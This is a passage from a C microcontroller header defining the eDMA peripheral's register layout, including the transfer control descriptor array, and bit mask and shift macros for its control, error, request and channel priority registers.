__IO uint32_t EARS; /**< Enable Asynchronous Request in Stop Register, offset: 0x44 */
uint8_t RESERVED_6[184];
__IO uint8_t DCHPRI3; /**< Channel n Priority Register, offset: 0x100 */
__IO uint8_t DCHPRI2; /**< Channel n Priority Register, offset: 0x101 */
__IO uint8_t DCHPRI1; /**< Channel n Priority Register, offset: 0x102 */
__IO uint8_t DCHPRI0; /**< Channel n Priority Register, offset: 0x103 */
__IO uint8_t DCHPRI7; /**< Channel n Priority Register, offset: 0x104 */
__IO uint8_t DCHPRI6; /**< Channel n Priority Register, offset: 0x105 */
__IO uint8_t DCHPRI5; /**< Channel n Priority Register, offset: 0x106 */
__IO uint8_t DCHPRI4; /**< Channel n Priority Register, offset: 0x107 */
uint8_t RESERVED_7[3832];
struct { /* offset: 0x1000, array step: 0x20 */
__IO uint32_t SADDR; /**< TCD Source Address, array offset: 0x1000, array step: 0x20 */
__IO uint16_t SOFF; /**< TCD Signed Source Address Offset, array offset: 0x1004, array step: 0x20 */
__IO uint16_t ATTR; /**< TCD Transfer Attributes, array offset: 0x1006, array step: 0x20 */
union { /* offset: 0x1008, array step: 0x20 */
__IO uint32_t NBYTES_MLNO; /**< TCD Minor Byte Count (Minor Loop Mapping Disabled), array offset: 0x1008, array step: 0x20 */
__IO uint32_t NBYTES_MLOFFNO; /**< TCD Signed Minor Loop Offset (Minor Loop Mapping Enabled and Offset Disabled), array offset: 0x1008, array step: 0x20 */
__IO uint32_t NBYTES_MLOFFYES; /**< TCD Signed Minor Loop Offset (Minor Loop Mapping and Offset Enabled), array offset: 0x1008, array step: 0x20 */
};
__IO uint32_t SLAST; /**< TCD Last Source Address Adjustment, array offset: 0x100C, array step: 0x20 */
__IO uint32_t DADDR; /**< TCD Destination Address, array offset: 0x1010, array step: 0x20 */
__IO uint16_t DOFF; /**< TCD Signed Destination Address Offset, array offset: 0x1014, array step: 0x20 */
union { /* offset: 0x1016, array step: 0x20 */
__IO uint16_t CITER_ELINKNO; /**< TCD Current Minor Loop Link, Major Loop Count (Channel Linking Disabled), array offset: 0x1016, array step: 0x20 */
__IO uint16_t CITER_ELINKYES; /**< TCD Current Minor Loop Link, Major Loop Count (Channel Linking Enabled), array offset: 0x1016, array step: 0x20 */
};
__IO uint32_t DLAST_SGA; /**< TCD Last Destination Address Adjustment/Scatter Gather Address, array offset: 0x1018, array step: 0x20 */
__IO uint16_t CSR; /**< TCD Control and Status, array offset: 0x101C, array step: 0x20 */
union { /* offset: 0x101E, array step: 0x20 */
__IO uint16_t BITER_ELINKNO; /**< TCD Beginning Minor Loop Link, Major Loop Count (Channel Linking Disabled), array offset: 0x101E, array step: 0x20 */
__IO uint16_t BITER_ELINKYES; /**< TCD Beginning Minor Loop Link, Major Loop Count (Channel Linking Enabled), array offset: 0x101E, array step: 0x20 */
};
} TCD[8];
} DMA_Type;
/* ----------------------------------------------------------------------------
-- DMA Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup DMA_Register_Masks DMA Register Masks
* @{
*/
/*! @name CR - Control Register */
#define DMA_CR_EDBG_MASK (0x2U)
#define DMA_CR_EDBG_SHIFT (1U)
#define DMA_CR_EDBG(x) (((uint32_t)(((uint32_t)(x)) << DMA_CR_EDBG_SHIFT)) & DMA_CR_EDBG_MASK)
#define DMA_CR_ERCA_MASK (0x4U)
#define DMA_CR_ERCA_SHIFT (2U)
#define DMA_CR_ERCA(x) (((uint32_t)(((uint32_t)(x)) << DMA_CR_ERCA_SHIFT)) & DMA_CR_ERCA_MASK)
#define DMA_CR_HOE_MASK (0x10U)
#define DMA_CR_HOE_SHIFT (4U)
#define DMA_CR_HOE(x) (((uint32_t)(((uint32_t)(x)) << DMA_CR_HOE_SHIFT)) & DMA_CR_HOE_MASK)
#define DMA_CR_HALT_MASK (0x20U)
#define DMA_CR_HALT_SHIFT (5U)
#define DMA_CR_HALT(x) (((uint32_t)(((uint32_t)(x)) << DMA_CR_HALT_SHIFT)) & DMA_CR_HALT_MASK)
#define DMA_CR_CLM_MASK (0x40U)
#define DMA_CR_CLM_SHIFT (6U)
#define DMA_CR_CLM(x) (((uint32_t)(((uint32_t)(x)) << DMA_CR_CLM_SHIFT)) & DMA_CR_CLM_MASK)
#define DMA_CR_EMLM_MASK (0x80U)
#define DMA_CR_EMLM_SHIFT (7U)
#define DMA_CR_EMLM(x) (((uint32_t)(((uint32_t)(x)) << DMA_CR_EMLM_SHIFT)) & DMA_CR_EMLM_MASK)
#define DMA_CR_ECX_MASK (0x10000U)
#define DMA_CR_ECX_SHIFT (16U)
#define DMA_CR_ECX(x) (((uint32_t)(((uint32_t)(x)) << DMA_CR_ECX_SHIFT)) & DMA_CR_ECX_MASK)
#define DMA_CR_CX_MASK (0x20000U)
#define DMA_CR_CX_SHIFT (17U)
#define DMA_CR_CX(x) (((uint32_t)(((uint32_t)(x)) << DMA_CR_CX_SHIFT)) & DMA_CR_CX_MASK)
#define DMA_CR_ACTIVE_MASK (0x80000000U)
#define DMA_CR_ACTIVE_SHIFT (31U)
#define DMA_CR_ACTIVE(x) (((uint32_t)(((uint32_t)(x)) << DMA_CR_ACTIVE_SHIFT)) & DMA_CR_ACTIVE_MASK)
/*! @name ES - Error Status Register */
#define DMA_ES_DBE_MASK (0x1U)
#define DMA_ES_DBE_SHIFT (0U)
#define DMA_ES_DBE(x) (((uint32_t)(((uint32_t)(x)) << DMA_ES_DBE_SHIFT)) & DMA_ES_DBE_MASK)
#define DMA_ES_SBE_MASK (0x2U)
#define DMA_ES_SBE_SHIFT (1U)
#define DMA_ES_SBE(x) (((uint32_t)(((uint32_t)(x)) << DMA_ES_SBE_SHIFT)) & DMA_ES_SBE_MASK)
#define DMA_ES_SGE_MASK (0x4U)
#define DMA_ES_SGE_SHIFT (2U)
#define DMA_ES_SGE(x) (((uint32_t)(((uint32_t)(x)) << DMA_ES_SGE_SHIFT)) & DMA_ES_SGE_MASK)
#define DMA_ES_NCE_MASK (0x8U)
#define DMA_ES_NCE_SHIFT (3U)
#define DMA_ES_NCE(x) (((uint32_t)(((uint32_t)(x)) << DMA_ES_NCE_SHIFT)) & DMA_ES_NCE_MASK)
#define DMA_ES_DOE_MASK (0x10U)
#define DMA_ES_DOE_SHIFT (4U)
#define DMA_ES_DOE(x) (((uint32_t)(((uint32_t)(x)) << DMA_ES_DOE_SHIFT)) & DMA_ES_DOE_MASK)
#define DMA_ES_DAE_MASK (0x20U)
#define DMA_ES_DAE_SHIFT (5U)
#define DMA_ES_DAE(x) (((uint32_t)(((uint32_t)(x)) << DMA_ES_DAE_SHIFT)) & DMA_ES_DAE_MASK)
#define DMA_ES_SOE_MASK (0x40U)
#define DMA_ES_SOE_SHIFT (6U)
#define DMA_ES_SOE(x) (((uint32_t)(((uint32_t)(x)) << DMA_ES_SOE_SHIFT)) & DMA_ES_SOE_MASK)
#define DMA_ES_SAE_MASK (0x80U)
#define DMA_ES_SAE_SHIFT (7U)
#define DMA_ES_SAE(x) (((uint32_t)(((uint32_t)(x)) << DMA_ES_SAE_SHIFT)) & DMA_ES_SAE_MASK)
#define DMA_ES_ERRCHN_MASK (0x700U)
#define DMA_ES_ERRCHN_SHIFT (8U)
#define DMA_ES_ERRCHN(x) (((uint32_t)(((uint32_t)(x)) << DMA_ES_ERRCHN_SHIFT)) & DMA_ES_ERRCHN_MASK)
#define DMA_ES_CPE_MASK (0x4000U)
#define DMA_ES_CPE_SHIFT (14U)
#define DMA_ES_CPE(x) (((uint32_t)(((uint32_t)(x)) << DMA_ES_CPE_SHIFT)) & DMA_ES_CPE_MASK)
#define DMA_ES_ECX_MASK (0x10000U)
#define DMA_ES_ECX_SHIFT (16U)
#define DMA_ES_ECX(x) (((uint32_t)(((uint32_t)(x)) << DMA_ES_ECX_SHIFT)) & DMA_ES_ECX_MASK)
#define DMA_ES_VLD_MASK (0x80000000U)
#define DMA_ES_VLD_SHIFT (31U)
#define DMA_ES_VLD(x) (((uint32_t)(((uint32_t)(x)) << DMA_ES_VLD_SHIFT)) & DMA_ES_VLD_MASK)
/*! @name ERQ - Enable Request Register */
#define DMA_ERQ_ERQ0_MASK (0x1U)
#define DMA_ERQ_ERQ0_SHIFT (0U)
#define DMA_ERQ_ERQ0(x) (((uint32_t)(((uint32_t)(x)) << DMA_ERQ_ERQ0_SHIFT)) & DMA_ERQ_ERQ0_MASK)
#define DMA_ERQ_ERQ1_MASK (0x2U)
#define DMA_ERQ_ERQ1_SHIFT (1U)
#define DMA_ERQ_ERQ1(x) (((uint32_t)(((uint32_t)(x)) << DMA_ERQ_ERQ1_SHIFT)) & DMA_ERQ_ERQ1_MASK)
#define DMA_ERQ_ERQ2_MASK (0x4U)
#define DMA_ERQ_ERQ2_SHIFT (2U)
#define DMA_ERQ_ERQ2(x) (((uint32_t)(((uint32_t)(x)) << DMA_ERQ_ERQ2_SHIFT)) & DMA_ERQ_ERQ2_MASK)
#define DMA_ERQ_ERQ3_MASK (0x8U)
#define DMA_ERQ_ERQ3_SHIFT (3U)
#define DMA_ERQ_ERQ3(x) (((uint32_t)(((uint32_t)(x)) << DMA_ERQ_ERQ3_SHIFT)) & DMA_ERQ_ERQ3_MASK)
#define DMA_ERQ_ERQ4_MASK (0x10U)
#define DMA_ERQ_ERQ4_SHIFT (4U)
#define DMA_ERQ_ERQ4(x) (((uint32_t)(((uint32_t)(x)) << DMA_ERQ_ERQ4_SHIFT)) & DMA_ERQ_ERQ4_MASK)
#define DMA_ERQ_ERQ5_MASK (0x20U)
#define DMA_ERQ_ERQ5_SHIFT (5U)
#define DMA_ERQ_ERQ5(x) (((uint32_t)(((uint32_t)(x)) << DMA_ERQ_ERQ5_SHIFT)) & DMA_ERQ_ERQ5_MASK)
#define DMA_ERQ_ERQ6_MASK (0x40U)
#define DMA_ERQ_ERQ6_SHIFT (6U)
#define DMA_ERQ_ERQ6(x) (((uint32_t)(((uint32_t)(x)) << DMA_ERQ_ERQ6_SHIFT)) & DMA_ERQ_ERQ6_MASK)
#define DMA_ERQ_ERQ7_MASK (0x80U)
#define DMA_ERQ_ERQ7_SHIFT (7U)
#define DMA_ERQ_ERQ7(x) (((uint32_t)(((uint32_t)(x)) << DMA_ERQ_ERQ7_SHIFT)) & DMA_ERQ_ERQ7_MASK)
/*! @name EEI - Enable Error Interrupt Register */
#define DMA_EEI_EEI0_MASK (0x1U)
#define DMA_EEI_EEI0_SHIFT (0U)
#define DMA_EEI_EEI0(x) (((uint32_t)(((uint32_t)(x)) << DMA_EEI_EEI0_SHIFT)) & DMA_EEI_EEI0_MASK)
#define DMA_EEI_EEI1_MASK (0x2U)
#define DMA_EEI_EEI1_SHIFT (1U)
#define DMA_EEI_EEI1(x) (((uint32_t)(((uint32_t)(x)) << DMA_EEI_EEI1_SHIFT)) & DMA_EEI_EEI1_MASK)
#define DMA_EEI_EEI2_MASK (0x4U)
#define DMA_EEI_EEI2_SHIFT (2U)
#define DMA_EEI_EEI2(x) (((uint32_t)(((uint32_t)(x)) << DMA_EEI_EEI2_SHIFT)) & DMA_EEI_EEI2_MASK)
#define DMA_EEI_EEI3_MASK (0x8U)
#define DMA_EEI_EEI3_SHIFT (3U)
#define DMA_EEI_EEI3(x) (((uint32_t)(((uint32_t)(x)) << DMA_EEI_EEI3_SHIFT)) & DMA_EEI_EEI3_MASK)
#define DMA_EEI_EEI4_MASK (0x10U)
#define DMA_EEI_EEI4_SHIFT (4U)
#define DMA_EEI_EEI4(x) (((uint32_t)(((uint32_t)(x)) << DMA_EEI_EEI4_SHIFT)) & DMA_EEI_EEI4_MASK)
#define DMA_EEI_EEI5_MASK (0x20U)
#define DMA_EEI_EEI5_SHIFT (5U)
#define DMA_EEI_EEI5(x) (((uint32_t)(((uint32_t)(x)) << DMA_EEI_EEI5_SHIFT)) & DMA_EEI_EEI5_MASK)
#define DMA_EEI_EEI6_MASK (0x40U)
#define DMA_EEI_EEI6_SHIFT (6U)
#define DMA_EEI_EEI6(x) (((uint32_t)(((uint32_t)(x)) << DMA_EEI_EEI6_SHIFT)) & DMA_EEI_EEI6_MASK)
#define DMA_EEI_EEI7_MASK (0x80U)
#define DMA_EEI_EEI7_SHIFT (7U)
#define DMA_EEI_EEI7(x) (((uint32_t)(((uint32_t)(x)) << DMA_EEI_EEI7_SHIFT)) & DMA_EEI_EEI7_MASK)
/*! @name CEEI - Clear Enable Error Interrupt Register */
#define DMA_CEEI_CEEI_MASK (0x7U)
#define DMA_CEEI_CEEI_SHIFT (0U)
#define DMA_CEEI_CEEI(x) (((uint8_t)(((uint8_t)(x)) << DMA_CEEI_CEEI_SHIFT)) & DMA_CEEI_CEEI_MASK)
#define DMA_CEEI_CAEE_MASK (0x40U)
#define DMA_CEEI_CAEE_SHIFT (6U)
#define DMA_CEEI_CAEE(x) (((uint8_t)(((uint8_t)(x)) << DMA_CEEI_CAEE_SHIFT)) & DMA_CEEI_CAEE_MASK)
#define DMA_CEEI_NOP_MASK (0x80U)
#define DMA_CEEI_NOP_SHIFT (7U)
#define DMA_CEEI_NOP(x) (((uint8_t)(((uint8_t)(x)) << DMA_CEEI_NOP_SHIFT)) & DMA_CEEI_NOP_MASK)
/*! @name SEEI - Set Enable Error Interrupt Register */
#define DMA_SEEI_SEEI_MASK (0x7U)
#define DMA_SEEI_SEEI_SHIFT (0U)
#define DMA_SEEI_SEEI(x) (((uint8_t)(((uint8_t)(x)) << DMA_SEEI_SEEI_SHIFT)) & DMA_SEEI_SEEI_MASK)
#define DMA_SEEI_SAEE_MASK (0x40U)
#define DMA_SEEI_SAEE_SHIFT (6U)
#define DMA_SEEI_SAEE(x) (((uint8_t)(((uint8_t)(x)) << DMA_SEEI_SAEE_SHIFT)) & DMA_SEEI_SAEE_MASK)
#define DMA_SEEI_NOP_MASK (0x80U)
#define DMA_SEEI_NOP_SHIFT (7U)
#define DMA_SEEI_NOP(x) (((uint8_t)(((uint8_t)(x)) << DMA_SEEI_NOP_SHIFT)) & DMA_SEEI_NOP_MASK)
/*! @name CERQ - Clear Enable Request Register */
#define DMA_CERQ_CERQ_MASK (0x7U)
#define DMA_CERQ_CERQ_SHIFT (0U)
#define DMA_CERQ_CERQ(x) (((uint8_t)(((uint8_t)(x)) << DMA_CERQ_CERQ_SHIFT)) & DMA_CERQ_CERQ_MASK)
#define DMA_CERQ_CAER_MASK (0x40U)
#define DMA_CERQ_CAER_SHIFT (6U)
#define DMA_CERQ_CAER(x) (((uint8_t)(((uint8_t)(x)) << DMA_CERQ_CAER_SHIFT)) & DMA_CERQ_CAER_MASK)
#define DMA_CERQ_NOP_MASK (0x80U)
#define DMA_CERQ_NOP_SHIFT (7U)
#define DMA_CERQ_NOP(x) (((uint8_t)(((uint8_t)(x)) << DMA_CERQ_NOP_SHIFT)) & DMA_CERQ_NOP_MASK)
/*! @name SERQ - Set Enable Request Register */
#define DMA_SERQ_SERQ_MASK (0x7U)
#define DMA_SERQ_SERQ_SHIFT (0U)
#define DMA_SERQ_SERQ(x) (((uint8_t)(((uint8_t)(x)) << DMA_SERQ_SERQ_SHIFT)) & DMA_SERQ_SERQ_MASK)
#define DMA_SERQ_SAER_MASK (0x40U)
#define DMA_SERQ_SAER_SHIFT (6U)
#define DMA_SERQ_SAER(x) (((uint8_t)(((uint8_t)(x)) << DMA_SERQ_SAER_SHIFT)) & DMA_SERQ_SAER_MASK)
#define DMA_SERQ_NOP_MASK (0x80U)
#define DMA_SERQ_NOP_SHIFT (7U)
#define DMA_SERQ_NOP(x) (((uint8_t)(((uint8_t)(x)) << DMA_SERQ_NOP_SHIFT)) & DMA_SERQ_NOP_MASK)
/*! @name CDNE - Clear DONE Status Bit Register */
#define DMA_CDNE_CDNE_MASK (0x7U)
#define DMA_CDNE_CDNE_SHIFT (0U)
#define DMA_CDNE_CDNE(x) (((uint8_t)(((uint8_t)(x)) << DMA_CDNE_CDNE_SHIFT)) & DMA_CDNE_CDNE_MASK)
#define DMA_CDNE_CADN_MASK (0x40U)
#define DMA_CDNE_CADN_SHIFT (6U)
#define DMA_CDNE_CADN(x) (((uint8_t)(((uint8_t)(x)) << DMA_CDNE_CADN_SHIFT)) & DMA_CDNE_CADN_MASK)
#define DMA_CDNE_NOP_MASK (0x80U)
#define DMA_CDNE_NOP_SHIFT (7U)
#define DMA_CDNE_NOP(x) (((uint8_t)(((uint8_t)(x)) << DMA_CDNE_NOP_SHIFT)) & DMA_CDNE_NOP_MASK)
/*! @name SSRT - Set START Bit Register */
#define DMA_SSRT_SSRT_MASK (0x7U)
#define DMA_SSRT_SSRT_SHIFT (0U)
#define DMA_SSRT_SSRT(x) (((uint8_t)(((uint8_t)(x)) << DMA_SSRT_SSRT_SHIFT)) & DMA_SSRT_SSRT_MASK)
#define DMA_SSRT_SAST_MASK (0x40U)
#define DMA_SSRT_SAST_SHIFT (6U)
#define DMA_SSRT_SAST(x) (((uint8_t)(((uint8_t)(x)) << DMA_SSRT_SAST_SHIFT)) & DMA_SSRT_SAST_MASK)
#define DMA_SSRT_NOP_MASK (0x80U)
#define DMA_SSRT_NOP_SHIFT (7U)
#define DMA_SSRT_NOP(x) (((uint8_t)(((uint8_t)(x)) << DMA_SSRT_NOP_SHIFT)) & DMA_SSRT_NOP_MASK)
/*! @name CERR - Clear Error Register */
#define DMA_CERR_CERR_MASK (0x7U)
#define DMA_CERR_CERR_SHIFT (0U)
#define DMA_CERR_CERR(x) (((uint8_t)(((uint8_t)(x)) << DMA_CERR_CERR_SHIFT)) & DMA_CERR_CERR_MASK)
#define DMA_CERR_CAEI_MASK (0x40U)
#define DMA_CERR_CAEI_SHIFT (6U)
#define DMA_CERR_CAEI(x) (((uint8_t)(((uint8_t)(x)) << DMA_CERR_CAEI_SHIFT)) & DMA_CERR_CAEI_MASK)
#define DMA_CERR_NOP_MASK (0x80U)
#define DMA_CERR_NOP_SHIFT (7U)
#define DMA_CERR_NOP(x) (((uint8_t)(((uint8_t)(x)) << DMA_CERR_NOP_SHIFT)) & DMA_CERR_NOP_MASK)
/*! @name CINT - Clear Interrupt Request Register */
#define DMA_CINT_CINT_MASK (0x7U)
#define DMA_CINT_CINT_SHIFT (0U)
#define DMA_CINT_CINT(x) (((uint8_t)(((uint8_t)(x)) << DMA_CINT_CINT_SHIFT)) & DMA_CINT_CINT_MASK)
#define DMA_CINT_CAIR_MASK (0x40U)
#define DMA_CINT_CAIR_SHIFT (6U)
#define DMA_CINT_CAIR(x) (((uint8_t)(((uint8_t)(x)) << DMA_CINT_CAIR_SHIFT)) & DMA_CINT_CAIR_MASK)
#define DMA_CINT_NOP_MASK (0x80U)
#define DMA_CINT_NOP_SHIFT (7U)
#define DMA_CINT_NOP(x) (((uint8_t)(((uint8_t)(x)) << DMA_CINT_NOP_SHIFT)) & DMA_CINT_NOP_MASK)
/*! @name INT - Interrupt Request Register */
#define DMA_INT_INT0_MASK (0x1U)
#define DMA_INT_INT0_SHIFT (0U)
#define DMA_INT_INT0(x) (((uint32_t)(((uint32_t)(x)) << DMA_INT_INT0_SHIFT)) & DMA_INT_INT0_MASK)
#define DMA_INT_INT1_MASK (0x2U)
#define DMA_INT_INT1_SHIFT (1U)
#define DMA_INT_INT1(x) (((uint32_t)(((uint32_t)(x)) << DMA_INT_INT1_SHIFT)) & DMA_INT_INT1_MASK)
#define DMA_INT_INT2_MASK (0x4U)
#define DMA_INT_INT2_SHIFT (2U)
#define DMA_INT_INT2(x) (((uint32_t)(((uint32_t)(x)) << DMA_INT_INT2_SHIFT)) & DMA_INT_INT2_MASK)
#define DMA_INT_INT3_MASK (0x8U)
#define DMA_INT_INT3_SHIFT (3U)
#define DMA_INT_INT3(x) (((uint32_t)(((uint32_t)(x)) << DMA_INT_INT3_SHIFT)) & DMA_INT_INT3_MASK)
#define DMA_INT_INT4_MASK (0x10U)
#define DMA_INT_INT4_SHIFT (4U)
#define DMA_INT_INT4(x) (((uint32_t)(((uint32_t)(x)) << DMA_INT_INT4_SHIFT)) & DMA_INT_INT4_MASK)
#define DMA_INT_INT5_MASK (0x20U)
#define DMA_INT_INT5_SHIFT (5U)
#define DMA_INT_INT5(x) (((uint32_t)(((uint32_t)(x)) << DMA_INT_INT5_SHIFT)) & DMA_INT_INT5_MASK)
#define DMA_INT_INT6_MASK (0x40U)
#define DMA_INT_INT6_SHIFT (6U)
#define DMA_INT_INT6(x) (((uint32_t)(((uint32_t)(x)) << DMA_INT_INT6_SHIFT)) & DMA_INT_INT6_MASK)
#define DMA_INT_INT7_MASK (0x80U)
#define DMA_INT_INT7_SHIFT (7U)
#define DMA_INT_INT7(x) (((uint32_t)(((uint32_t)(x)) << DMA_INT_INT7_SHIFT)) & DMA_INT_INT7_MASK)
/*! @name ERR - Error Register */
#define DMA_ERR_ERR0_MASK (0x1U)
#define DMA_ERR_ERR0_SHIFT (0U)
#define DMA_ERR_ERR0(x) (((uint32_t)(((uint32_t)(x)) << DMA_ERR_ERR0_SHIFT)) & DMA_ERR_ERR0_MASK)
#define DMA_ERR_ERR1_MASK (0x2U)
#define DMA_ERR_ERR1_SHIFT (1U)
#define DMA_ERR_ERR1(x) (((uint32_t)(((uint32_t)(x)) << DMA_ERR_ERR1_SHIFT)) & DMA_ERR_ERR1_MASK)
#define DMA_ERR_ERR2_MASK (0x4U)
#define DMA_ERR_ERR2_SHIFT (2U)
#define DMA_ERR_ERR2(x) (((uint32_t)(((uint32_t)(x)) << DMA_ERR_ERR2_SHIFT)) & DMA_ERR_ERR2_MASK)
#define DMA_ERR_ERR3_MASK (0x8U)
#define DMA_ERR_ERR3_SHIFT (3U)
#define DMA_ERR_ERR3(x) (((uint32_t)(((uint32_t)(x)) << DMA_ERR_ERR3_SHIFT)) & DMA_ERR_ERR3_MASK)
#define DMA_ERR_ERR4_MASK (0x10U)
#define DMA_ERR_ERR4_SHIFT (4U)
#define DMA_ERR_ERR4(x) (((uint32_t)(((uint32_t)(x)) << DMA_ERR_ERR4_SHIFT)) & DMA_ERR_ERR4_MASK)
#define DMA_ERR_ERR5_MASK (0x20U)
#define DMA_ERR_ERR5_SHIFT (5U)
#define DMA_ERR_ERR5(x) (((uint32_t)(((uint32_t)(x)) << DMA_ERR_ERR5_SHIFT)) & DMA_ERR_ERR5_MASK)
#define DMA_ERR_ERR6_MASK (0x40U)
#define DMA_ERR_ERR6_SHIFT (6U)
#define DMA_ERR_ERR6(x) (((uint32_t)(((uint32_t)(x)) << DMA_ERR_ERR6_SHIFT)) & DMA_ERR_ERR6_MASK)
#define DMA_ERR_ERR7_MASK (0x80U)
#define DMA_ERR_ERR7_SHIFT (7U)
#define DMA_ERR_ERR7(x) (((uint32_t)(((uint32_t)(x)) << DMA_ERR_ERR7_SHIFT)) & DMA_ERR_ERR7_MASK)
/*! @name HRS - Hardware Request Status Register */
#define DMA_HRS_HRS0_MASK (0x1U)
#define DMA_HRS_HRS0_SHIFT (0U)
#define DMA_HRS_HRS0(x) (((uint32_t)(((uint32_t)(x)) << DMA_HRS_HRS0_SHIFT)) & DMA_HRS_HRS0_MASK)
#define DMA_HRS_HRS1_MASK (0x2U)
#define DMA_HRS_HRS1_SHIFT (1U)
#define DMA_HRS_HRS1(x) (((uint32_t)(((uint32_t)(x)) << DMA_HRS_HRS1_SHIFT)) & DMA_HRS_HRS1_MASK)
#define DMA_HRS_HRS2_MASK (0x4U)
#define DMA_HRS_HRS2_SHIFT (2U)
#define DMA_HRS_HRS2(x) (((uint32_t)(((uint32_t)(x)) << DMA_HRS_HRS2_SHIFT)) & DMA_HRS_HRS2_MASK)
#define DMA_HRS_HRS3_MASK (0x8U)
#define DMA_HRS_HRS3_SHIFT (3U)
#define DMA_HRS_HRS3(x) (((uint32_t)(((uint32_t)(x)) << DMA_HRS_HRS3_SHIFT)) & DMA_HRS_HRS3_MASK)
#define DMA_HRS_HRS4_MASK (0x10U)
#define DMA_HRS_HRS4_SHIFT (4U)
#define DMA_HRS_HRS4(x) (((uint32_t)(((uint32_t)(x)) << DMA_HRS_HRS4_SHIFT)) & DMA_HRS_HRS4_MASK)
#define DMA_HRS_HRS5_MASK (0x20U)
#define DMA_HRS_HRS5_SHIFT (5U)
#define DMA_HRS_HRS5(x) (((uint32_t)(((uint32_t)(x)) << DMA_HRS_HRS5_SHIFT)) & DMA_HRS_HRS5_MASK)
#define DMA_HRS_HRS6_MASK (0x40U)
#define DMA_HRS_HRS6_SHIFT (6U)
#define DMA_HRS_HRS6(x) (((uint32_t)(((uint32_t)(x)) << DMA_HRS_HRS6_SHIFT)) & DMA_HRS_HRS6_MASK)
#define DMA_HRS_HRS7_MASK (0x80U)
#define DMA_HRS_HRS7_SHIFT (7U)
#define DMA_HRS_HRS7(x) (((uint32_t)(((uint32_t)(x)) << DMA_HRS_HRS7_SHIFT)) & DMA_HRS_HRS7_MASK)
/*! @name EARS - Enable Asynchronous Request in Stop Register */
#define DMA_EARS_EDREQ_0_MASK (0x1U)
#define DMA_EARS_EDREQ_0_SHIFT (0U)
#define DMA_EARS_EDREQ_0(x) (((uint32_t)(((uint32_t)(x)) << DMA_EARS_EDREQ_0_SHIFT)) & DMA_EARS_EDREQ_0_MASK)
#define DMA_EARS_EDREQ_1_MASK (0x2U)
#define DMA_EARS_EDREQ_1_SHIFT (1U)
#define DMA_EARS_EDREQ_1(x) (((uint32_t)(((uint32_t)(x)) << DMA_EARS_EDREQ_1_SHIFT)) & DMA_EARS_EDREQ_1_MASK)
#define DMA_EARS_EDREQ_2_MASK (0x4U)
#define DMA_EARS_EDREQ_2_SHIFT (2U)
#define DMA_EARS_EDREQ_2(x) (((uint32_t)(((uint32_t)(x)) << DMA_EARS_EDREQ_2_SHIFT)) & DMA_EARS_EDREQ_2_MASK)
#define DMA_EARS_EDREQ_3_MASK (0x8U)
#define DMA_EARS_EDREQ_3_SHIFT (3U)
#define DMA_EARS_EDREQ_3(x) (((uint32_t)(((uint32_t)(x)) << DMA_EARS_EDREQ_3_SHIFT)) & DMA_EARS_EDREQ_3_MASK)
#define DMA_EARS_EDREQ_4_MASK (0x10U)
#define DMA_EARS_EDREQ_4_SHIFT (4U)
#define DMA_EARS_EDREQ_4(x) (((uint32_t)(((uint32_t)(x)) << DMA_EARS_EDREQ_4_SHIFT)) & DMA_EARS_EDREQ_4_MASK)
#define DMA_EARS_EDREQ_5_MASK (0x20U)
#define DMA_EARS_EDREQ_5_SHIFT (5U)
#define DMA_EARS_EDREQ_5(x) (((uint32_t)(((uint32_t)(x)) << DMA_EARS_EDREQ_5_SHIFT)) & DMA_EARS_EDREQ_5_MASK)
#define DMA_EARS_EDREQ_6_MASK (0x40U)
#define DMA_EARS_EDREQ_6_SHIFT (6U)
#define DMA_EARS_EDREQ_6(x) (((uint32_t)(((uint32_t)(x)) << DMA_EARS_EDREQ_6_SHIFT)) & DMA_EARS_EDREQ_6_MASK)
#define DMA_EARS_EDREQ_7_MASK (0x80U)
#define DMA_EARS_EDREQ_7_SHIFT (7U)
#define DMA_EARS_EDREQ_7(x) (((uint32_t)(((uint32_t)(x)) << DMA_EARS_EDREQ_7_SHIFT)) & DMA_EARS_EDREQ_7_MASK)
/*! @name DCHPRI3 - Channel n Priority Register */
#define DMA_DCHPRI3_CHPRI_MASK (0x7U)
#define DMA_DCHPRI3_CHPRI_SHIFT (0U)
#define DMA_DCHPRI3_CHPRI(x) (((uint8_t)(((uint8_t)(x)) << DMA_DCHPRI3_CHPRI_SHIFT)) & DMA_DCHPRI3_CHPRI_MASK)
#define DMA_DCHPRI3_DPA_MASK (0x40U)
#define DMA_DCHPRI3_DPA_SHIFT (6U)
#define DMA_DCHPRI3_DPA(x) (((uint8_t)(((uint8_t)(x)) << DMA_DCHPRI3_DPA_SHIFT)) & DMA_DCHPRI3_DPA_MASK)
#define DMA_DCHPRI3_ECP_MASK (0x80U)
#define DMA_DCHPRI3_ECP_SHIFT (7U)
#define DMA_DCHPRI3_ECP(x) (((uint8_t)(((uint8_t)(x)) << DMA_DCHPRI3_ECP_SHIFT)) & DMA_DCHPRI3_ECP_MASK)
/*! @name DCHPRI2 - Channel n Priority Register */
#define DMA_DCHPRI2_CHPRI_MASK (0x7U)
#define DMA_DCHPRI2_CHPRI_SHIFT (0U)
#define DMA_DCHPRI2_CHPRI(x) (((uint8_t)(((uint8_t)(x)) << DMA_DCHPRI2_CHPRI_SHIFT)) & DMA_DCHPRI2_CHPRI_MASK)
#define DMA_DCHPRI2_DPA_MASK (0x40U)
#define DMA_DCHPRI2_DPA_SHIFT (6U)
#define DMA_DCHPRI2_DPA(x) (((uint8_t)(((uint8_t)(x)) << DMA_DCHPRI2_DPA_SHIFT)) & DMA_DCHPRI2_DPA_MASK)
#define DMA_DCHPRI2_ECP_MASK (0x80U)
#define DMA_DCHPRI2_ECP_SHIFT (7U)
#define DMA_DCHPRI2_ECP(x) (((uint8_t)(((uint8_t)(x)) << DMA_DCHPRI2_ECP_SHIFT)) & DMA_DCHPRI2_ECP_MASK)
/*! @name DCHPRI1 - Channel n Priority Register */
#define DMA_DCHPRI1_CHPRI_MASK (0x7U)
#define DMA_DCHPRI1_CHPRI_SHIFT (0U)
#define DMA_DCHPRI1_CHPRI(x) (((uint8_t)(((uint8_t)(x)) << DMA_DCHPRI1_CHPRI_SHIFT)) & DMA_DCHPRI1_CHPRI_MASK)
#define DMA_DCHPRI1_DPA_MASK (0x40U)
#define DMA_DCHPRI1_DPA_SHIFT (6U)
#define DMA_DCHPRI1_DPA(x) (((uint8_t)(((uint8_t)(x)) << DMA_DCHPRI1_DPA_SHIFT)) & DMA_DCHPRI1_DPA_MASK)
#define DMA_DCHPRI1_ECP_MASK (0x80U)
#define DMA_DCHPRI1_ECP_SHIFT (7U)
